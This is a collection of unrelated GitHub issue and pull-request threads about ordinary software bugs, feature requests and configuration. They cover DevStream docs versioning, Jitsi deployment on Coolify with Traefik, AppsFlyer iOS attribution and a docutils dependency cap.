:bomb: Bug: dtm init can't work

What Happened?
whne I use dtm init -f quickstart.yaml,cause failure
2022-06-14 12:54:25 ✖ [ERROR]  Config file validation failed: tool file is empty.
2022-06-14 12:54:25 ℹ [INFO]  Using dir <.devstream> to store plugins.
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x4aeb477]

goroutine 1 [running]:
github.com/devstream-io/devstream/internal/pkg/pluginmanager.DownloadPlugins(0x0)
	github.com/devstream-io/devstream/internal/pkg/pluginmanager/manager.go:30 +0x177
main.initCMDFunc(0x51ffe00, {0xc000155ca0, 0x0, 0x2})
	github.com/devstream-io/devstream/cmd/devstream/init.go:26 +0x185
github.com/spf13/cobra.(*Command).execute(0x51ffe00, {0xc000155c80, 0x2, 0x2})
	github.com/spf13/cobra@v1.4.0/command.go:860 +0xb67
github.com/spf13/cobra.(*Command).ExecuteC(0x5200580)
	github.com/spf13/cobra@v1.4.0/command.go:974 +0x8b3
github.com/spf13/cobra.(*Command).Execute(0x5200580)
	github.com/spf13/cobra@v1.4.0/command.go:902 +0x2f
main.main()
	github.com/devstream-io/devstream/cmd/devstream/main.go:98 +0x32

How to Reproduce?
https://asciinema.org/a/wiIVgSSFCCEW2W6bwAiopBsGk
core config
varFile: "" # If not empty, use the specified external variables config file
toolFile: "" # If not empty, use the specified external tools config file
state: # state config, backend can be local or s3
backend: local
options:
stateFile: devstream.state

plugins config
tools:

name: github-repo-scaffolding-golang
instanceID: default
options:
owner: huang12zheng
repo: go-webapp-devstream-demo
branch: main
image_repo: hzgood/go-webapp-devstream-demo
name: githubactions-golang
instanceID: default
dependsOn: ["github-repo-scaffolding-golang.default"]
options:
owner: huang12zheng
repo: go-webapp-devstream-demo
language:
name: go
version: "1.17"
branch: main
build:
enable: True
test:
enable: True
coverage:
enable: True
docker:
enable: False

Anything else
maybe like #581 with "Config file validation failed: tool file is empty."
it happen also with 0.6.1
DevStream Version
v0.6.0

The doc for v0.6.0 is correct for its quickstart.yaml config, and you may be viewing the latest doc.
Visit the doc for v0.6.0: https://docs.devstream.io/en/release-0.6/quickstart_en/

v0.6.0 的文档对其quickstart.yaml配置是正确的，您可能正在查看最新的文档。
访问 v0.6.0 的文档： https ://docs.devstream.io/en/release-0.6/quickstart_en/

it is correct.
it is work with doc release-0.6.

Is it necessary to add a v0.6.1 version of the docs? According to the v0.6.1 release, the doc has been updated.
@daniel-hutao @IronCore864

Is it necessary to add a v0.6.1 version of the docs? According to the v0.6.1 release, the doc has been updated.
@daniel-hutao @IronCore864

This is a problem, I'll put up the 0.6.0 documentation right away.

@daniel-hutao Some errors have occurred! The link above is no longer accessible. The doc for v0.6.0 is now: https://docs.devstream.io/en/v0.6.0/quickstart_en/
But its quickstart is wrong. Its link points to the main branch.

I don't know if I got it right
The issue's wrong is:
doc's latest Version is points to main branch, but main is not released.
So, actually, the lastest of the document should be pointing to the latest release.
@iyear @daniel-hutao

@huang12zheng In the current design, the latest page of the docs points to the latest main branch code instead of the latest release.
I think it is possible to have a default page for docs.devstream.io that points to the latest release instead of the docs for the latest main branch code.

@huang12zheng In the current design, the latest page of the docs points to the latest main branch code instead of the latest release.
I think it is possible to have a default page for docs.devstream.io that points to the latest release instead of the docs for the latest main branch code.

Pretty much what I said, although I didn't find solution that add a default page

@IronCore864 How about we switch the default document version to the latest release version？

@daniel-hutao
I just want to say that the documentation version is not as simple.

Maybe we should learn from how other projects manage documentation

Some demon whisper, I'm just in confusion:
There are the following possible facts:
1. In the future, a document error is a low probability event,
Even documents don't change very much
2. We may need to decouple documents from releases,
3. Or we don't need to maintain past documents
Just maintain the documents that stable mainly supports and the latest versions of the documents.

Update documents and release new versions. We shouldn't like that
Release: 0.6.1 - > 0.6.2 - devK
Doc: 0.6.2 - devK

At development time, releases are locked, but documents are branch dependent.
Doc - 0.6.1 ~ release 0.6.1
We only maintain the latest stable version of the document.

If you have a good plan, you might ignore what I'm saying

@huang12zheng we did some changes regarding documentation and releases. To sum up:

We follow this doc for releases and branches. TL;DR: we will try our best to support the latest 3 versions. Given our current shortage of manpower, this can't be guaranteed at the moment, but we will strive for it.
Documentation versions: now that the v0.7 is released, we made the v0.7 version the default version when you open docs.devstream.io. The "latest" version won't be shown as default anymore.

If you are interested, you can give the quickstart a try according to the v0.7 documentation. Let us know if there are any more issues. Thanks very much for your contribution to this matter. Closing this issue for now, but do re-open or create a new one if you find more issues according to the v0.7 doc.


Add setters for optional parameters for the deployers

When we create a new instance of any deployer (EtherlimeGanacheDeployer) for example, we need to provide all of the parameters (privatekey, port, defaultOverrides) or none of them.
If someone wants to provide only the port or only the defaultOverrides he should set the other properties as undefined. This approach is not friendly.
Task:
Provide setters for the different properties (for e.g setPrivateKey; setPort etc)
Add unit tests for the upper functionality

@iamonuwa you have been approved for this bounty, feel free to start work at your earliest convenience!

You can reach us here, or in the gitter of the project. How can we help you?

Awesome @Perseverance will reach out once I need clarification more

@Perseverance can you point me to where this task is needed?

@iamonuwa The idea behind this task is to augment the Deployer class and certain subclasses with setters for the optional parameters coming from the constructor. One example is the EtherlimeGanacheDeployer, where all three params are basically optional, but the user might want to set just the third (defaultOverrides). Having a setter for the defaultOverrides would save much complexity in the code like EtherlimeGanacheDeployer(undefined,undefined,overrides);

@gitcoinbot work in progress

Hey @iamonuwa ! You have to run etherlime ganache on another terminal window.

Alright.

@Perseverance - should we return this bounty to open status? It seems like the last PR did not fulfill the requirements.

@frankchen07 - I believe so. It's normally something you'd do in hours not days (sorry iamonuwa)

@frankchen07 I toggled Remarket Ready for the issue 👍

It appears that no work is being done on this ticket?
I could add setters for the (optional) parameters of all deployer classes in the deployer/ folder and test the new functions to make sure they're behaving as expected and without side effects.

@Perseverance I want to work on this issue if it is open. I can't provide the complete action plan right away as I have to familiarize myself with the code base. Please tell me if it is open, I will start the work right away.

Do you know this is still listed as an active project in gitcoin?


No feature definition for critical-section

To use take() ,
https://github.com/ra-rs/ra/blob/730714c2269de412a969778a8d68c4a009321d47/pac/ra4m1/src/lib.rs#L2204-L2214
critical-section feature needs to be added to the dependency. but it's not defined in Cargo.toml .
https://github.com/ra-rs/ra/blob/730714c2269de412a969778a8d68c4a009321d47/pac/ra4m1/Cargo.toml#L22-L23

This branch seems to fix this issue.
https://github.com/9names/ra/tree/fix_critical_section

Fixed with commit 16bafa98f2ed5c4dfa3fb7cf973e58e7a471ef9f


WIP: Fix integration tests

@inercia @MalloZup Since we are starting to set the common ground for operators I'd love to bring back the original Makefile and try to mimic kubebuilder as much as possible here. After we agree that something is missing, we add it to all the operators at the same time; but I would love if we could start from a clean slate (basically what kubebuilder generates).

@ereslibre i am hypothetically fine with that. I agree to have simplicity as model.
However i think if we start again, we could have things more complex.
But i think if you think is worth to redisign it i am fine. ( i think is always better to have different model POC designs to see)
I am fine if you want to modify it, in its structure.
I think we could either merge this pr and do a removal by removal PR, or
we could create another PR were we have a replacement for the actual Makefile.
I think as @inercia implemented this Makefile he took some decisions and some of them can be improved and some not, we might need to see case by case.

I think as @inercia implemented this Makefile he took some decisions and some of them can be improved and some not, we might need to see case by case.

Yes, this is the main point. If we start from a clean slate I think we have good chances of deciding whether or not we want a specific feature or not, and if we do, we take responsibility for doing the same thing on all operators. I'm just trying to cut unneeded complexity; and only commit to the complexity we need.
I know this might sound picky as I said, and with documentation we could have everything solved, but the more we deviate from kubebuilder the more things we'll have to "backport" to new operators to support the same set of things supported in the existing ones; that's the main reason why I'd love not to deviate that much.

to generate those files before running the integration tests, as part of the integration tests build.

I think I will lean towards this option @inercia proposed. I'll try to almost not touch the Makefile; if @inercia found those targets useful it's fine. Will update the config/crds README.md to contain the explanation of why that folder is empty, linking to the deployments folder. When running the integration tests the config/crds will be generated automatically.

This should be ready for review now.

I tried to avoid populating config/{crds,rbac} and only doing that when running the integration tests and adding them to the .gitignore, but I found it a bit hard to understand, what needs to be checked in and what doesn't (example: rbac/rbac_role.yaml wasn't checked in, but `rbac/rbac_role_binding.yaml was).
That along with the response I had yesterday on #kubebuilder slack and some back and forth trying the different possibilities I thought that checking everything in was the easiest and most direct approach.
I would like to have also the approval from @inercia before merging, for obvious reasons. Once this is merged the idea is to backport all the changes that we have done here to the https://github.com/kubic-project/registries-operator.

:tada:


Validation of a 'parameter' node

All 'parameter' nodes with "type='input'" are [string] type :
I can declare this :
cd 'C:\Users\Laurent\Downloads\Plaster-master\Examples\NewModuleTemplate'
Import-Module ..\..\Plaster.psd1

$PlasterParams = @{
    TemplatePath = $PWD
    Destination = '..\Out'
    ModuleName = ''
    FullName = 'John Q. Doe'
    Version = '-1'
    Options = 'PSake','Pester','Git','None'
    Editor = 'VSCode'
    License = 'MIT'
}

Invoke-Plaster @PlasterParams

'ModuleName' is a correct string, but not a valid filename.
'Version' is a valid string, but not a valid version.
'Options' is a valid set, but the values seems inconsistent.

How to control these cases ?
How to known the valid values for a 'Powershell Gallery' template ?

This comment by @rkeithhill suggests this might be about to change.

@MartinSGill After thinking about this some more, I think that not only do I want to change the type value from input to text but I'm also tempted to add a subtype attribute (looking for better name) e.g.
<parameter name="FullName" type="text" subtype="fullname" .../>
<parameter name="Email" type="text" subtype="email" .../>

This would allow the "text" type to share more code (instead of the current duplication).  The only thing I don't like is I don't know how in XML schema to disallow the subtype attribute when the value of the type attribute is not "text".  It might have to be a manual validation check.
That said, this would allow for subtypes like: filename, path, version where we could validate the user's input.

Maybe type and content or purpose as names? Just suggesting stuff, subtype would work for me.

Maybe not content since there is a separate content section but keep the suggestions coming.

I thought to the dynamic parameters Powershell.
The error may occur later in the tempalte processing, how to undo an erroneous installation ?

The checks (if any - not sure author or  fullname needs validating) will happen in Test-PlasterManifest.  That failure will not allow the template processing to continue.  It will also result in no dynamic parameters being defined.


restarting a single node by master node

inspection-report-20200618_122206.tar.gz
is it possible to restart a worker node by the master node?
sometimes it is needed when some changes need to be applied
what i've done is 'sudo microk8s stop' and then i ran 'start' param, but it was in worker node

This is a nice feature request. We do not have this functionality yet. You have to login into the node to restart it.

thank you!


Make Toonin extension compatible on Firefox.

https://extensionworkshop.com/documentation/develop/porting-a-google-chrome-extension/

https://www.extensiontest.com/test/9b4165c0-18d0-11ea-b696-cb9fd93578b9

Closing this issue since we're moving away from the extension model to a web app + get userDisplayMedia model.


"Summary Table" check and clomonitor_name field: doc update proposal

Hi,
To pass the "Summary Table" check the CNCF landscape.yml file must contain at least one of the summary_* fields in the project’s extra section. As stated in the doc: https://clomonitor.io/docs/topics/checks/#summary-table
However, the clomonitor_name field is mandatory to map entries in the landscape to the CLOMonitor data files. Without it, checks based on the landscape cannot be performed. But this point is not written in the doc above.
I propose to create a PR to update the documentation accordingly:
Mandatory

extra:
clomonitor_name: project-name

Regards,
Yacine

@tegioz ok for you?
BTW, do you think that the clomonitor_name field also needs to be added here: https://github.com/cncf/landscape/blob/master/docs/item_summary.md ? with a comment "mandatory for clomonitor check"?

Hi @yada
Thanks, that sounds good to me 👍
It'd be good to mention that the project-name used in the clomonitor_name field must match exactly the project's name used in the corresponding CLOMonitor data file.
Regarding the update to the item_summary document in the landscape repo, I think it'd be best to leave it as it is for now. The summary can be used by any landscape item, but not all items are listed on CLOMonitor (only CNCF projects), so it could get confusing.
Please note that this field is also documented briefly here (the part of how CLOMonitor relies on that field for other purposes was intentionally omitted).


Example project demonstrating aggregation plotting.

This is an example project that demonstrates aggregation with plotting code.
This complements the notebook in #15 (both demonstrate plotting in different forms).
This is also simpler than the production project added in #36.
I created this during office hours to help answer some questions about aggregation.

The current data in this project was just a toy equation to demonstrate aggregation. To make this example more realistic, I am considering changing the data space to match the van der Waals gases from notebook 104: https://docs.signac.io/en/latest/examples/notebooks/signac_104_Modifying_the_Data_Space.html
I would change the state points to look something like:
{
    "substance": "Argon",
    "N": 1000,
    "p": 1.0,
    "kT": 1.0,
    "a": 1.355,
    "b": 0.03201,
}

I would have proposed using an ideal gas instead of the van der Waals model, but then I wouldn't be able to show examples of plotting p-V curves for two different materials.
@syjlee @tcmoore3 Would that proposed change help this example, or would it make it too confusing?

I think it depends on the purpose of this tutorial/example. Since its focus is to show how aggregation works with plotting, I like the current 'toy' example as it's simple with minimal state points. But if you want to add more realistic and actual relatable data space, van der Waals model sounds good as well. If you'd change data space, having same data space as other tutorials looks better to me in terms of consistency.


Ensure that the exception dictionaries are not mutated when generating a html report

This PR fixes the following issue:
[2021-06-09 20:36:13,702] master1/CRITICAL/locust.runners: Unhandled exception in greenlet: <Greenlet at 0x7ff41a2846a0: <bound method MasterRunner.client_listener of <locust.runners.MasterRunner object at 0x7ff3ea9d4b80>>>
Traceback (most recent call last):
  File "src/gevent/greenlet.py", line 906, in gevent._gevent_cgreenlet.Greenlet.run
  File "/home/adminuser/.venv/lib/python3.8/site-packages/locust/runners.py", line 842, in client_listener
    self.log_exception(msg.node_id, msg.data["msg"], msg.data["traceback"])
  File "/home/adminuser/.venv/lib/python3.8/site-packages/locust/runners.py", line 422, in log_exception
    row["nodes"].add(node_id)
AttributeError: 'str' object has no attribute 'add'

If a user generated a html report during a load test run, then the nodes field in every exception dict was mutated to a string.
This also caused the following when hovering on one of the exception in the web UI:

PS: I will incorporate this fix in the distribution branch because it is causing my load tests to crash (I use the html report feature quite a lot).

Thx!


Ukrainian translation

oh no, my Ukrainian translation was not added in the new version of the mod.. May I know why?

Oh, sorry, I just overlooked it since translations are usually handled via PR requests, not via the issues tab.
I'll include it in the coming bugfix update.

Added in 1.8.1 ;)

Thank you very much 🐢


onInstallConversionDataLoaded no work in ios

migrated from old PhoneGap:
@WilsonFpz
Hi
I have a same ionic app publish in appstore/android.
The onInstallConversionDataLoaded attributionData works fine for an android user.
But when an iphone user shows no data.
document.addEventListener('onInstallConversionDataLoaded', function(e){ var attributionData = (JSON.stringify(e.detail)); $localStorage.trackingData = attributionData; }, false);
any ideas? thanks

@af-fess
@WilsonFpz did you try to debug:
-(void)onConversionDataReceived:(NSDictionary*) installData {/.../} line 116. inside AppsFlyerPlugin.m ? Please let me know
Also please, post relevant code snippets

@lalmanzar
@af-fess I have an issue with the onInstallConversionDataLoaded on ios. It is always reporting as organic. But on the dashboard is tracked correctly as a non-organic and all the other fields like the campaign, also on the raw install export is reported correctly. The issue is only with ios, android is reported correctly. Any idea what might be the issue?
Thanks

@af-fess
@lalmanzar it looks weird, how did you test non-organic install, please give more details.

@lalmanzar
In the config.xml I have:
<plugin name="appsflyer" version="4.2.8"/>
in my main.js I have this inside the device ready:
var args = {         devKey: 'aanexxxxxxxxxxxxxxxxxxxxxxxx'     };
var userAgent = window.navigator.userAgent.toLowerCase();
 if (/iphone|ipad|ipod/.test( userAgent )) {
    args.appId = "id11111111111";
  }
   window.plugins.appsFlyer.initSdk(args);
and this at the end:
document.addEventListener('onInstallConversionDataLoaded', function(e){
   var attributionData = e.detail;
    alert(JSON.stringify(attributionData));
}, false);
Then I build the app using phonegap Build (I don't have a ios machine to do the build).
For the steps I use for testing, I first click the custom like I have with a campaing and some extra parameters that I'll need, after that I install the IPA and open the app. In the dashboard I can see the click and install of the custom campaing but the app shows this in the alert :
{"af_status":"Organic","af_message":"organic install"}
I also tried with the sdk of the new repository and have the same issue.
Is there a way for me to check if maybe the plugin is having issues to get the IDFA of the device?

@af-fess found my issue, in the appId I left the "id" part. I should only be the number part. Thanks

Thank @lalmanzar , I have same issues. My appId for test is: id012345, I only need remove id and now xcode log it as non-organic install. options: { appId: "012345" }

Thank @lalmanzar , I have same issues. My appId for test is: id012345, I only need remove id and now xcode log it as non-organic install. options: { appId: "012345" }

thanks you so much, save my day !!!!

Thank @lalmanzar , I have same issues. My appId for test is: id012345, I only need remove id and now xcode log it as non-organic install. options: { appId: "012345" }

you are my hero man, Good job @quyen91


[Feature]: Jitsi Meet Template

Description
I would like a template for Jitsi Meet merged into this Coolify repo.
Generally, feature requests don't go in issue they go in discussion (like I posted with details in https://github.com/coollabsio/coolify/discussions/2197) but I want to set a bounty on this so I'm making it an issue.
If you can get a Jitsi meet template working and merged I consider then the bounty is complete.
PS: I tried to get this working myself but ran into issues with exposing the ports. I suspect this shouldn't be too hard to resolve for someone who has setup Jitsi before.
Minimal Reproduction (if possible, example repository)
n/a
Exception or Error
No response
Version
n/a

how to increase bounty? I also wanna add the amount

/attempt #2304
I will PR shortly
This is a tricky template. Some notes here:

Jitsi uses WebRTC, so it only works with HTTPS, trying to run on localhost, LAN, probably needs more config
Jitsi uses JVB Videobridge to enable screens sharing with a room >2 people (eq two = p2p), and JVB requires opening a UDP port, which requires changing proxy configuration to open this port and in any other firewall
I did the minimal template with some env vars, but Jitsi has many many others options to enable if needed, check here

that said, using Traefik, on Server > Proxy > Configuration, we must edit PORTS and ADD Traefik entryPoints, eg.:
version: '3.8'
networks:
  coolify:
    external: true
services:
  traefik:
    container_name: coolify-proxy
    image: 'traefik:v2.10'
    restart: unless-stopped
    extra_hosts:
      - 'host.docker.internal:host-gateway'
    networks:
      - coolify
    ports:
      - '80:80'
      - '443:443'
      - '8080:8080'
         # This line maps UDP port 10000 on the host to the container
      - '10000:10000/udp'
    healthcheck:
      test: 'wget -qO- http://localhost:80/ping || exit 1'
      interval: 4s
      timeout: 2s
      retries: 5
    volumes:
      - '/var/run/docker.sock:/var/run/docker.sock:ro'
      - '/data/coolify/proxy:/traefik'
    command:
      - '--ping=true'
      - '--ping.entrypoint=http'
      - '--api.dashboard=true'
      - '--api.insecure=false'
      - '--entrypoints.http.address=:80'
      - '--entrypoints.https.address=:443'
      - '--entrypoints.http.http.encodequerysemicolons=true'
      - '--entryPoints.http.http2.maxConcurrentStreams=50'
      - '--entrypoints.https.http.encodequerysemicolons=true'
      - '--entryPoints.https.http2.maxConcurrentStreams=50'
      # This line configures Traefik entrypoints to work with Jitsi template and listen on UDP port 10000
      - '--entryPoints.video.address=:10000/udp'
      - '--providers.docker.exposedbydefault=false'
      - '--providers.file.directory=/traefik/dynamic/'
      - '--providers.file.watch=true'
      - '--certificatesresolvers.letsencrypt.acme.httpchallenge=true'
      - '--certificatesresolvers.letsencrypt.acme.storage=/traefik/acme.json'
      - '--certificatesresolvers.letsencrypt.acme.httpchallenge.entrypoint=http'
      - '--providers.docker=true'
    labels:
      - traefik.enable=true
      - traefik.http.routers.traefik.entrypoints=http
      - traefik.http.routers.traefik.service=api@internal
      - traefik.http.services.traefik.loadbalancer.server.port=8080
      - coolify.managed=true

In my case, I also needed to open port 10000 in AWS Firewall.
I don't think it's possible to configure these Traefik settings on the fly using only template or Dynamic Configuration. I couldn't do it but it would simplify Jitsi setup. Perhaps with Caddy, however, it wouldn't be explicit about what's happening to the user.

It would be nice if someone reviews it, since you tried to implement before, can you try it? @RayBB

wow, you're mvp bro @LEstradioto. Could you also check this? #2346

Ive setup the minimal setup. You can add it more env vars at

/project/xxx/production/application/xxx#environment-variables
Jitsi has plenty of environment variables I could add all of them in blank, would that be better?


Feature Request - Default value for OTEL_SERVICE_NAME

When using otel registry, OTEL_SERVICE_NAME should fall back to application name, if not provided in any other means.
If I don't specify OTEL_SERVICE_NAME I see this in NewRelic :

Instead I think this should behave like described in opentelemetry quarkus integration :
https://quarkus.io/guides/opentelemetry

What do you think ?

Here :
https://github.com/quarkiverse/quarkus-micrometer-registry/blob/53fa22d5090846fa888740faeeaf124ea8b000a5/micrometer-registry-otlp/runtime/src/main/java/io/quarkiverse/micrometer/registry/otlp/OtlpConfig.java#L73
"If not set it tries to use OTEL_RESOURCE_ATTRIBUTES and OTEL_SERVICE_NAME to automatically build the resource attributes."
But if OTEL_SERVICE_NAME is not set, it should fall back to ${quarkus.application.name}

@ebullient if you agree I can make a PR about this ...
Let me know
Thank you

PRs are always welcome. ;)


Add Ledger Nano S support

I've developed an app for the Ledger Nano S hardware wallet that will be released in the Ledger store this week. This patch adds the ability to use Stellarterm in conjunction with that app. On the account page you can sign in using the Ledger. The sign in button gets enabled when the user connects the Ledger and opens the Stellar app. Transaction signing then happens on the Ledger device. Whenever an action is done that requires a transaction to be signed the user is prompted with information about the transaction on the device and is requested to approve the transaction.
Note: to test this the application needs to be served over https as required by u2f standard.

I see travis build is failing. I found this: https://github.com/node-hid/node-hid/issues/31
It suggests libusb-dev might not be installed on the build server.

Cool! I'll look at this soon

I think before I want to pull these changes in, I want to add a read-only mode to StellarTerm.

Not sure I follow. When would you sign something if not absolutely necessary? Or are you thinking of batching multiple operations in a single transaction?

Oh what I mean is:
Right now, the UX flow is that the user enters their passphrase or passphrase or whatever. Then, they have unlimited access. I'm thinking to add a read-only mode where the user first enters their public key. Then, they can make a transaction and will only need to insert secret key or use Ledger when finally necessary.

Right, that makes sense. That would make the user interaction more uniform.

I'll work on this once I have more time soon

Oh I just realized that there is still another problem! Someone might have multiple accounts on their Ledger nano. So the read-only option should be in addition to the logging in with Ledger Nano.
I'm thinking that in the login flow, users can pick to enter their account in any way:

Read mode (Can authenticate with any other method later)
Secret key
Ledger
other methods

I have been helping the developer of lupoex.com integrate the support as well and the way he does it he has three methods to sign in: 1. public key; 2. secret key; 3. ledger. When you sign in with ledger you can specify the account (bip32 path). Then when it is time to sign a transaction you are again shown 3 options: 1. manual; 2. secret key; 3. ledger. Manual signing means you are presented with the xdr and you can copy it and sign it in the way you want maybe on an air-gapped computer or something. When you choose secret key and you logged in with the secret key you have the option to use that one, but you get a field to specify a secret key either way, so you can enter a different one. When you choose to sign with ledger you can only sign with the account with which you logged in.

Closing this PR for the new one


Prototyping function overload resolution

Adapt the semantic subtyping algorithm for function overload resolution to Luau.

Just a draft for now, it needs comments if nothing else.


Variables containing comments generate color function errors

Hi!
I'm developing a Real Time Theme Editor for a project, and using this (amazing) compiler to convert the scss to css.
The scenario is:

A theme has the styles (scss) with variables (for each tenant app user) stored in database, using key value pars for example: {"color-header": "#ffffff"}
Variables are passed to compiler and css files are generated without problems, so far so good...

When a user start the theme customization (colors, fonts, etc) we have two paths:
1 - At each change, make an ajax call to the server and retrieve the new css (in this case embed inline, overwriting the default theme css) updating the view. Works ok.
2 - At each change, analise (parse) the changes and update the embed styles in real time (at client without ajax calls). It works very smooth with color pickers (sliding quick from one color to another), etc... and offers a very good user experience when playing with the theme.
To make the option 2 possible, I wrap the variable values in scss/css comments, something like: "color-header": "/*!setting.color-header{*/#ffffff/*}*/" . This way when css is generated, I have: h1 { color: /*!setting.color-header{*/#ffffff/*}*/; }, and is easy to process the user changes in real time using only javascript. At each change just regex globally the key changed, and update the embed styles with the new value.
When the user confirm the changes (only one ajax call), I store the new values in database and generate a clean css (without variable comments)...
The problem is: color functions like lighten or darken don't understand the syntax with comments (assertColor method fails for variables with comments), breaking the compilation.
I'm coming back to option 1, but option 2 was a big (Real Time Preview) step...
Any directions in how to fix this issue? Compiling in npm doesn't throw the error...
Thanks!

Sorry, this is a wontfix.


Is the Water Balance Model of interest for Hytest?

I helped @mewieczo process some large ASCII output files from the Water Balance Model into NetCDF awhile back:
https://discourse.pangeo.io/t/fixed-width-ascii-500-000-columns-to-zarr/1635/6
Not sure if HyTest is interested in the balance model, but just putting this as a placeholder if it is.

ping @rviger-usgs

@rsignell-usgs "yes" is the answer to the question. It's being used as data against which to evaluate other simulations but only informally so far, plus the users currently have their own copy. There's no rush for us but we should get to this when we have time. There's an existing copy of the dataset at https://cida.usgs.gov/thredds/catalog/demo/thredds/mows/publicmwb/catalog.html and it will be moved to the NHGF's S3 bucket at some point. This is a link to the USGS Data Release https://www.sciencebase.gov/catalog/item/55fc3f98e4b05d6c4e5029a1.
Sounds like there is also a plan to update the CONUS application of MWBM but that's still being worked out by the sponsoring project (MAPPNAT). Jacob will let us know on that end, but this is further in the future (i.e., at least FY24).


cap on docutils prevents co-installability with openstack

Yesterday a cap on docutils was committed.  This cap prevents botocore from being updated in openstack due to openstack upper-constraints.txt including the new version of docutils.  I'd suggest fixing whatever issue caused the cap (didn't see one tracked in the issue list) and/or just removing it altogether (see https://github.com/boto/botocore/issues/900 and https://github.com/boto/botocore/pull/933 ).  It may also be possible to make it a doc only dependency.
http://logs.openstack.org/61/671961/2/check/requirements-tox-py27-check-uc/a9b1b74/job-output.txt.gz#_2019-07-22_15_58_18_792567
2019-07-22 15:58:18.792954 | ubuntu-bionic | ContextualVersionConflict: (docutils 0.15 (/home/zuul/src/opendev.org/openstack/requirements/.tox/py27-check-uc/lib/python2.7/site-packages), Requirement.parse('docutils<0.15,>=0.10'), set(['botocore']))
2019-07-22 15:58:18.793030 | ubuntu-bionic | Traceback (most recent call last):
2019-07-22 15:58:18.793224 | ubuntu-bionic |   File "/home/zuul/src/opendev.org/openstack/requirements/openstack_requirements/cmds/check_conflicts.py", line 59, in main
2019-07-22 15:58:18.793307 | ubuntu-bionic |     pkg_resources.require(name)
2019-07-22 15:58:18.793551 | ubuntu-bionic |   File "/home/zuul/src/opendev.org/openstack/requirements/.tox/py27-check-uc/local/lib/python2.7/site-packages/pkg_resources/__init__.py", line 900, in require
2019-07-22 15:58:18.793663 | ubuntu-bionic |     needed = self.resolve(parse_requirements(requirements))
2019-07-22 15:58:18.793905 | ubuntu-bionic |   File "/home/zuul/src/opendev.org/openstack/requirements/.tox/py27-check-uc/local/lib/python2.7/site-packages/pkg_resources/__init__.py", line 791, in resolve
2019-07-22 15:58:18.794040 | ubuntu-bionic |     raise VersionConflict(dist, req).with_context(dependent_req)

@prometheanfire - Thank you for your post. I will mark this as a feature request, pending until there is at least a py2 & py3 wheel for the docutils latest version.

So you are looking for a py3 wheel?  (looks like there is one for 0.15.1 py2)
https://pypi.org/project/docutils/#files

@prometheanfire - Yes we are waiting for py3 wheel as currently they have only py2.

ya, I mailed their dev list about it as well.  it may be a pip error that it can't find and use the tarball though.

looks like they released 0.15.2 today

Indeed they py3 wheel seems available now : https://files.pythonhosted.org/packages/22/cd/a6aa959dca619918ccb55023b4cb151949c64d4d5d55b3f4ffd7eee0c6e8/docutils-0.15.2-py3-none-any.whl

@swetashre Is there a way I could help resolving this ?
Thanks,

This was merged and a release has been cut since then.

Thanks @stealthycoin


GSD Request

--- GSD JSON ---
{
  "vendor_name": "Linux",
  "product_name": "Kernel",
  "product_version": "versions from v5.8 to before v5.16.8",
  "vulnerability_type": "unspecified",
  "affected_component": "unspecified",
  "attack_vector": "unspecified",
  "impact": "unspecified",
  "credit": "",
  "references": [
    "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=d99dc602e2a55a99940ba9506a7126dfa54d54ea",
    "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=1899c3cad265c4583658aed5293d02e8af84276b"
  ],
  "extended_references": [
    {
      "type": "commit",
      "value": "d99dc602e2a55a99940ba9506a7126dfa54d54ea",
      "note": "introduced"
    },
    {
      "type": "commit",
      "value": "1899c3cad265c4583658aed5293d02e8af84276b",
      "note": "fixed"
    }
  ],
  "reporter": "joshbressers",
  "reporter_id": 1692786,
  "notes": "",
  "description": "IB/hfi1: Fix AIP early init panic\n\nThis is an automated ID intended to aid in discovery of potential security vulnerabilities. The actual impact and attack plausibility have not yet been proven.\nThis ID is fixed in Linux Kernel version v5.16.8 by commit 1899c3cad265c4583658aed5293d02e8af84276b, it was introduced in version v5.8 by commit d99dc602e2a55a99940ba9506a7126dfa54d54ea. For more details please see the references link."
}
--- GSD JSON ---

This issue has been assigned GSD-2022-1000664


Build(deps-dev): Bump mocha from 9.2.2 to 10.0.0 (#3434)

Pull request opened by the merge tool on behalf of #3434

Merged in 173e53363cf24776d48273d738da4fb70dea88b0


Disable Thrift c_glib due to compilation error

See the commit message. If you are able to reproduce this and resolve it in some other way let me know

Thanks.


Update the documentation

Actually, steps concerning submodule are not listed.
Also, it seems that you call the "Custom EPUB management and viewer application" "Cloud Reader" in several issues referring to index.html... Maybe we can have a common vocabulary?
I personally think README has to be rewritten to be more concise and clear in order to be able to get on board in a more easy way

Hello, comments on the new README would be appreciated: https://github.com/readium/readium-js-viewer/blob/develop/README.md


231 - fix using same var name as PATH causing sed not found

fixes https://github.com/rerun/rerun/issues/231

@eedwardsav thanks for the fix. I did not expect a lowercase variable name path to conflict with the PATH env var!

@ahonor Sorry I should have clarified, it's a problem that crops up when using zsh instead of bash.
I know zsh likely isn't officially supported, but this prevents the problem and doesn't affect usage in bash.

@eedwardsav no worries. I think I accidentally closed this PR when I meant to merge it. I'm happy to take the PR.


[Question]: Does not detect motion

Ask your question
Hello everyone,
I recently bought the Eufy Cam Indoor Pan and Tilt 2K camera. I set it up using the Eufy Security app, enabled HomeKit, and let it run for a while.
Now, I’d like to integrate this camera into my Home Assistant for automations. I have Home Assistant installed via Docker Compose and the Same I did for this Addon and added the Eufy integration through HACS. The camera is now linked to Home Assistant, and I can control features like motion detection, turning it on and off.
However, I'm running into an issue: although I can control the camera, it doesn’t seem to be detecting any motion—it always shows as "clear."
Any idea where the issue can be?

I have the same issue here with battery doorbell and cam 2C, HA has never show motion or person detected (always clear)


docs(paymaster): add paymaster API docs and example code

[!WARNING]
This pull request is not mergeable via GitHub because a downstack PR is open. Once all requirements are satisfied, merge this PR as a stack on Graphite.
Learn more

#171  👈
#170
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @jakim929 and the rest of your teammates on  Graphite


Coalesce target index in Genetics and Platform

We want to collect all the tasks necessary to unify the target dataset in Platform and the gene dataset in Genetics.
At the moment we maintain both separately, which entails:

Duplicated effort when generating and maintaining them.
Because of avoiding duplication we are losing value in both platforms. For example, the Genetics team has reported that it would be interesting to show the genetic constraint widget in the Portal. We don't want to replicate the code we already have for that in Platform for Genetics. The same applies the other way around.
Possible discrepancies between the two.

So far being handled as individual issue in #1947


Feature Request: Splunk SPL support

Hi Team,
Awesome library. Is it difficult to add support for new languages? I'd love to be able to use it to highlight Splunk queries:
